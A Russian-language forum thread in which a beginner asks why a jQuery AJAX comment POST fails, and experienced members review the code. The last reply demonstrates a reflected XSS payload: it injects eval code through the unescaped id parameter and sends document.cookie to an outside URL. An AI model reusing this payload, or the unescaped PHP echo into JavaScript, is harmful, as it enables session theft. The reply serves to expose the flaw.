
30.12.2015, 17:36
|
Новичок на форуме
|
|
Регистрация: 30.12.2015
Сообщений: 3
|
|
Помогите с отправкой данных методом POST с помощью AJAX
При нажатии на кнопку, скрипт выполняется успешно, но на comment_content.php данные постом не отправляются, sessionid и getid принимают верные значения.
$(document).ready(function() {
$('.comment-button').bind("click", function() {
var sessionid = "<?php echo $_SESSION['id']; ?>";
var getid = "<?php echo $_GET['id']; ?>";
$.ajax({
url: "comment_content.php",
type: "POST",
data: ({ comment: $('.comment-area').val(), userid: sessionid, pageid: getid }),
dataType: "html",
beforeSend: function() {
$('.wait').text("комментарий обрабатывается...");
},
success: function(data) {
if (data) {
$('.comment-area').val('');
$('.wait').text("Комментарий отправлен усешно!");
}
}
});
});
});
|
|

30.12.2015, 17:46
|
Профессор
|
|
Регистрация: 14.01.2015
Сообщений: 12,989
|
|
Сессия создается для каждого клиента отдельная, то есть браузер передает ID текущей сессии, и если сессия хранит ID пользователя, то сервер его будет знать, зачем же его передавать.
Номер страницы также можно получить на клиенте, то есть постоянно модифицировать JS на сервере зачем.
А что является источником запроса, форма, а '.comment-area' это ее текстовая область?
|
|

30.12.2015, 17:57
|
Новичок на форуме
|
|
Регистрация: 30.12.2015
Сообщений: 3
|
|
Для выборки комментариев на страницу, через php, я храню в бд id человека, то есть id сессии, id страницы которая задается методом get, и сам коммент. id сессии у меня такой же, как и id пользователя. comment-area - это текстовая область <textarea></textarea>. При нажатии на кнопку, данные с области по идее должны отправляться постом на страницу.
|
|

30.12.2015, 18:11
|
Профессор
|
|
Регистрация: 14.01.2015
Сообщений: 12,989
|
|
Сообщение от Teneroy
|
я храню в бд id человека, то есть id сессии
|
ID сессии, это типа fh2c0shav329h8q5imarj959c4, считаете, что такое ID для пользователей удобным?
ID сессии передается браузеру, браузер отдает его серверу, именно так клиент подключается к своей сессии. Зачем на клиента передавать ID сессии и ID клиента (все таки это уникальный идентификатор как число формируемое базой при добавлении клиента в базу), если они серверу известны?
Номер страницы запрашивается и ее текущую хранит навигатор, а значит на клиенте ее можно тоже получить.
Это я к тому, что зачем же при каждом выводе страницы помещать в вывод этот код ради его модификации сервером?
Я спрашивал про источник запроса, то есть если это форма, то она может отправляться, то есть страница будет перегружена, и Ajax запрос в холостую. А чтобы этого не происходило, нужно блокировать ее отправку. А у вас как?
|
|

30.12.2015, 20:10
|
Новичок на форуме
|
|
Регистрация: 30.12.2015
Сообщений: 3
|
|
Я не использую форму, у меня просто textare и input со свойствами кнопки. А про сессию, я не правильно написал, я не id сессии использую, а глобальный массив session в который записываю id человека при входе на сайт.
<div class="comment-box">
<textarea wrap="soft" class="comment-area"></textarea>
<input type="submit" class="comment-button">
<div class="wait"></div>
</div>
|
|

31.12.2015, 03:10
|
Профессор
|
|
Регистрация: 14.01.2015
Сообщений: 12,989
|
|
Если нет формы, то зачем кнопка submit, проку то от нее нет, используйте обычную кнопку. Начиная с jQuery 1.7, для прикрепления обработчиков событий, лучше использовать метод .on().
Сообщение от Teneroy
|
А про сессию, я не правильно написал
|
Это я "в уме" держал сессию, ID и страницу, которая тоже ID... В любом случае, это лишнее, то есть, вот этого:
var sessionid = "<?php echo $_SESSION['id']; ?>";
var getid = "<?php echo $_GET['id']; ?>";
совсем не нужно - id пользователя есть в сессии, а номер страницы на клиенте думаю получить можно. И круглые скобки data: ({}), это просто лишнее. В остальном все должно работать - F12 и проверить отладчиком. Запрос должен уходить, значит проблемы на сервере, в его сценарии.
|
|

01.01.2016, 13:41
|
 |
Профессор
|
|
Регистрация: 30.04.2012
Сообщений: 3,018
|
|
А теперь попробуйте запустить страницу с
id=";eval("alert(document.cookie),document.location='http://javascript.ru?c='\+document.cookie");"&foo=bar
|
|
|
|